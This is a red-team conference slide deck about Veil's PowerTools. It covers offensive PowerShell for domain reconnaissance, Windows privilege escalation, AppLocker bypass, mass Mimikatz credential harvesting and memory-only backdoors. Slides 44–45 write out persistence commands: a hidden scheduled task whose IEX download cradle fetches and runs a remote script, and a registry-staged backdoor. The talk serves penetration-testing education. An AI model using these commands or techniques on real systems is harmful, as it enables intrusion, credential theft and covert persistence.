51
Drilling Deeper with Veil’s PowerTools Justin Warner, Will Schroeder Veris Group’s Adaptive Threat Division

Drilling deeper with Veil's PowerTools

  • Upload
    harmj0y

  • View
    1.772

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Drilling deeper with Veil's PowerTools

Drilling Deeper

with

Veil’s PowerToolsJustin Warner, Will Schroeder

Veris Group’s Adaptive Threat Division

Page 2: Drilling deeper with Veil's PowerTools

@sixdub

◎Pentester and red teamer for the

Adaptive Threat Division of Veris Group

◎Lots of interest: red team ops, reverse

engineering, adversarial tactics, etc

◎Developer on the Veil-Framework and

co-founder of Veil’s PowerTools

Page 3: Drilling deeper with Veil's PowerTools

@harmj0y

◎Security researcher and red teamer for

the Adaptive Threat Division of Veris

Group

◎Co-founder of the Veil-Framework and

founder of Veil’s PowerTools

◎Cons: Shmoocon, CarolinaCon, Defcon,

Derbycon, various BSides

Page 4: Drilling deeper with Veil's PowerTools

tl;dr

◎ Introduction

◎PowerView

◎PowerUp

◎PowerPick

◎PewPewPew

◎PowerBreach

◎Dear M$

◎Demos

◎Questions

Page 5: Drilling deeper with Veil's PowerTools

Introduction

How We Got Here

Page 6: Drilling deeper with Veil's PowerTools

The Veil-Framework

◎An offensive toolkit aimed at bridging the

gap between pentesting and red teaming

capabilities

◎Started with the release of Veil-Evasion○ expanded with Catapult, Pillage, and

PowerView

◎CarolinaCon 2014 - “The Veil-

Framework”

Page 7: Drilling deeper with Veil's PowerTools

Veil’s PowerTools

◎All of our offensive PowerShell work

from the Veil-Framework (and other

projects) was pulled into the new

PowerTools repo

◎PowerTools will remain the primary

source for all PowerShell work, with the

Veil repo containing offensive Python

projects

Page 8: Drilling deeper with Veil's PowerTools

Sidenote:

Why PowerShell

○ PowerShell provides (out of the box):□ Full .NET access

□ application whitelisting

□ direct access to the Win32 API

□ ability to execute purely in memory

□ default installation Win7+ !

○ “Why I Choose PowerShell as an Attack

Platform”□ http://www.exploit-monday.com/2012/08/Why-I-

Choose-PowerShell.html

Page 9: Drilling deeper with Veil's PowerTools

“Bad Guys”

Page 10: Drilling deeper with Veil's PowerTools

“Microsoft’s Post-Exploitation

Language”

PowerShell:

-@obscuresec

Page 11: Drilling deeper with Veil's PowerTools

PowerView

Domain Situational

Awareness

Page 12: Drilling deeper with Veil's PowerTools

◎Think dsquery on steroids... and cocaine

◎First started because a client banned

“net” commands on domain machines

◎Otherwise initially inspired by Rob

Fuller’s netview.exe tool○ Wanted something more flexible that also didn’t

drop a binary to disk

Background

Page 13: Drilling deeper with Veil's PowerTools

User Hunting

◎Goal: find which domain machines

specific users are logged into

◎ Invoke-UserHunter: finds where target

users or group members are logged into

on the network

◎ Invoke-StealthUserHunter: extracts

user homeDirectories from AD, gets

sessions on all these file servers to hunt

for targets

○ Significantly less traffic than Invoke-UserHunter

Page 14: Drilling deeper with Veil's PowerTools

Offensive Event Parsing

◎Once you get DA, domain controller

event logs make it trivial to track down

user locations

◎PowerView’s Get-UserLogonEvents

lets you easily extract account logon

events (4624) from a host

◎ Invoke-UserEventHunter wraps this all

up into a weaponized form

Page 15: Drilling deeper with Veil's PowerTools

Domain Trusts

◎PowerView can now enumerate and

exploit existing domain trusts:○ Get-NetDomainTrusts, Get-NetForestDomains

◎Most PowerView functions now accept a

“-Domain <name>” flag, allowing them to

operate across trusts○ e.g. Get-NetUsers –Domain sub.test.local

◎ Invoke-MapDomainTrusts can

recursively map all reachable trusts from

a foothold

Page 16: Drilling deeper with Veil's PowerTools
Page 17: Drilling deeper with Veil's PowerTools

Data Mining

◎PowerView’s Invoke-ShareFinder -

CheckAccess can find all shares

readable by the current user

◎ Invoke-FileFinder can search a network

for open file shares, or take a share list

from Invoke-ShareFinder

◎Spits out a .csv of found files, sortable by

creation or last access times

Page 18: Drilling deeper with Veil's PowerTools

PowerUp

Automating Windows

Privesc

Page 19: Drilling deeper with Veil's PowerTools

Background

◎On past assessments, had to escalate

privileges on a locked down workstation

◎Kernel exploits wouldn’t work, so fell

back to vulnerable service binaries

◎More or less did everything manually,

wanted something a bit easier○ Started implementing the “Encyclopedia of

Privesc”

Page 20: Drilling deeper with Veil's PowerTools

Windows Services

◎One of the most effective escalation

vectors was (and still is) vulnerable

Windows services○ Sometimes can modify a service itself

○ Get-ServicePerms will check for these

◎However, many organizations overlook

the permissions for service binaries :)○ Use Get-ServiceEXEPerms, then overwrite the

service binary to add a local user or install an

agent

Page 21: Drilling deeper with Veil's PowerTools

.DLL Hijacking

◎Many programs/services will search in

multiple locations when loading,

including directories listed in the PATH

environment variable

◎ If you have write access to any folder in

PATH, there’s a good chance you can

drop a malicious DLL and escalate

privileges○ Invoke-FindPathHijack will search for these

opportunities

Page 22: Drilling deeper with Veil's PowerTools

PowerUp

◎Automates everything we’ve talked

about, and more

◎ Invoke-AllChecks will run all current

checks against a host

◎Functions exist to abuse most of the

escalation vectors found

Page 23: Drilling deeper with Veil's PowerTools

PowerPick

Lock Picking the

AppLocker

Page 24: Drilling deeper with Veil's PowerTools

Background

◎ Incident responders are recognizing and

targeting PowerShell.exe

○ Had a client write HIPS rules against

psh_psexec, YA, for reals

◎We wanted to be prepared for more

situations like this

◎Developed PowerPick as a combination of

solutions to run PowerShell without

powershell.exe

Page 25: Drilling deeper with Veil's PowerTools

Bypassing the Blacklist

◎ Used assemblies in .NET/C# to execute code

○ System.Management.Automation

◎ Developed SharpPick

○ http://www.sixdub.net/2014/12/02/inexorable-

powershell-a-red-teamers-tale-of-overcoming-

simple-applocker-policies/

◎ To defeat with blacklist policy (not ideal), must

permission off or block DLLs in the Global

Assembly Cache (GAC)

○ C:\Windows\Assembly\*

Page 26: Drilling deeper with Veil's PowerTools

OH BTW

Page 27: Drilling deeper with Veil's PowerTools

Runspaces in Unmanaged Code

◎SharpPick wasn’t very sexy

○ Binary on disk = Lame!

◎Lee Christensen (@tifkin_) authored

“UnmanagedPowerShell” to utilize .NET

assemblies from C

○ Uses CLR and custom .NET assembly in memory

○ https://github.com/leechristensen/UnmanagedPo

werShell

◎Transformed this code into a reflective

DLL = ReflectivePick

Page 28: Drilling deeper with Veil's PowerTools

PowerShell Inception = Injection!!

◎Decided it needed more PowerShell

◎Embedded ReflectivePick into Invoke-

ReflectivePEInjection from Powersploit

by @josephbialek

○ Created Invoke-PSInjector

◎ Injects DLL into remote process that

runs PowerShell code

Page 29: Drilling deeper with Veil's PowerTools

ReflectivePick Diagram

*.exeInvoke-PSInjector

ReflectivePick

.NET AssemblyDownload Cradle

Page 30: Drilling deeper with Veil's PowerTools

Invoke-PowerCeption?

Page 31: Drilling deeper with Veil's PowerTools

PewPewPewLaunching Lazerz at

your Targets

Page 32: Drilling deeper with Veil's PowerTools
Page 33: Drilling deeper with Veil's PowerTools

Invoke-Mass*

◎Model to run PowerShell scripts on a

mass number of machines and retrieve

results:

1. A jobbified webserver is kicked off in the

background which serves out a specified

PowerShell file

2. A IEX() one-liner is executed on machines

through WMI to download/executed the

hosted code

3. Results are POSTed back to the local

webserver

Page 34: Drilling deeper with Veil's PowerTools

Invoke-MassMimikatz

◎Executes PowerSploit’s Invoke-

Mimikatz on multiple machines without

PSRemoting

◎Raw Mimikatz results are saved on the

pivot host

◎Result files are parsed and

Server:Credential objects are output to

the pipeline

Page 35: Drilling deeper with Veil's PowerTools

Invoke-MassMimikatz

Page 36: Drilling deeper with Veil's PowerTools

Invoke-MassSearch

◎Microsoft has another gift for attackers,

the Windows Search Indexing Service○ Why search through all of a system’s file when

Windows does this for you?

◎ Invoke-MassSearch performs the same

pattern as Invoke-MassMimikatz○ allows you to query the search indexer across

machines where you have admin access

Page 37: Drilling deeper with Veil's PowerTools

PowerBreach

New Release

Page 38: Drilling deeper with Veil's PowerTools

Background

◎One obvious gap remaining in workflow

of Veil PowerTools

◎Motivation: offense in depth theory

◎Wanted multiple easy ways to remain

resident on the compromised systems○ Memory only

Page 39: Drilling deeper with Veil's PowerTools

PowerBreach

◎Yes… More PowerShell○ Why not utilize our favorite scripting language?!

◎Goal: automate a bunch of

techniques/tools to backdoor a system

◎Multiple triggers, various host/network

signatures○ We will show some of the “cool” ones

Page 40: Drilling deeper with Veil's PowerTools

Invoke-EventLogBackdoor

◎Based on Shmoocon 2013 “Wipe The

Drive” by Jake Williams

(@MalwareJake)

◎Uses Get-WinEvent to monitor windows

event logs for failed RDP attempts

◎When it recognizes “trigger” username,

phones home to attacker○ With an IEX(...) download cradle

Page 41: Drilling deeper with Veil's PowerTools

Invoke-PortKnockBackdoor

◎Based upon Get-Packet by Robbie

Foust http://blog.robbiefoust.com/?p=68○ Uses system.net.sockets.socket to create raw

socket

○ Uses socket.iocontrol to make promiscuous

◎Promiscuously sniffs traffic on system

and inspects data for “magic” trigger

value ○ UDP, TCP, ICMP

Page 42: Drilling deeper with Veil's PowerTools

Invoke-DeadUserBackdoor

◎Common action of attackers is to add

domain/local users

◎Uses ADSI to monitor for a users

existence

◎ If the user is not found, assumes the

worst and phones home

Page 43: Drilling deeper with Veil's PowerTools

Invoke-ResolverBackdoor

◎Attempts to be a little stealthier and

usable on external assessments

◎Resolves specified DNS name on

interval and if the resolution doesn’t

equal a predefined IP...

◎… PHONE HOME TO THAT IP!

Page 44: Drilling deeper with Veil's PowerTools

Persistence… If you must

◎Focuses more on non-persistent

backdoors

◎Schedule tasks seem to work really well

for PowerShell in domain networks

schtasks /create /tn OfficeUpdater /tr

"powershell.exe -w hidden -NonI -nop -c 'IEX

((new-object

net.webclient).downloadstring(''http://server/scri

pt.ps1'''))'" /sc onlogon /ru System

Page 45: Drilling deeper with Veil's PowerTools

Registry Storage

◎Better yet, stage your script in the registry!

$backdoor = "write-host 123”

Set-ItemProperty -Path 'HKLM:\HARDWARE' -Name

'secret' -Value $backdoor

schtasks /create /tn Updater /tr "powershell -c 'IEX (gp

HKLM:HARDWARE\ secret).secret'" /sc onlogon /ru

System

Page 46: Drilling deeper with Veil's PowerTools

So what?

◎Nothing revolutionary here!

◎Nothing worse than owning a system

and not being able to get back on later!

◎Real power comes when combining

PowerTools○ PewPewPew with PowerBreach

Page 47: Drilling deeper with Veil's PowerTools

2 Cents

Almost ready for the show!

Page 48: Drilling deeper with Veil's PowerTools

Obligatory Defense Slide

◎HIPs and Whitelisting generally help

endpoint defense

◎Enterprise incident response capabilities○ Memory only capabilities but scripts (“malware”)

able to be easily recovered and analyzed

◎Need a clear way to restrict PowerShell

& .NET assemblies to certain users

Page 49: Drilling deeper with Veil's PowerTools

True Story…

Page 50: Drilling deeper with Veil's PowerTools

Demos

Page 51: Drilling deeper with Veil's PowerTools

Questions?

◎Justin○ @sixsub

○ http://www.sixdub.net/

○ justin [at] sixdub.net

◎Will○ @harmj0y

○ http://blog.harmj0y.net/

○ will [at] harmj0y.net

◎https://github.com/veil-framework/PowerTools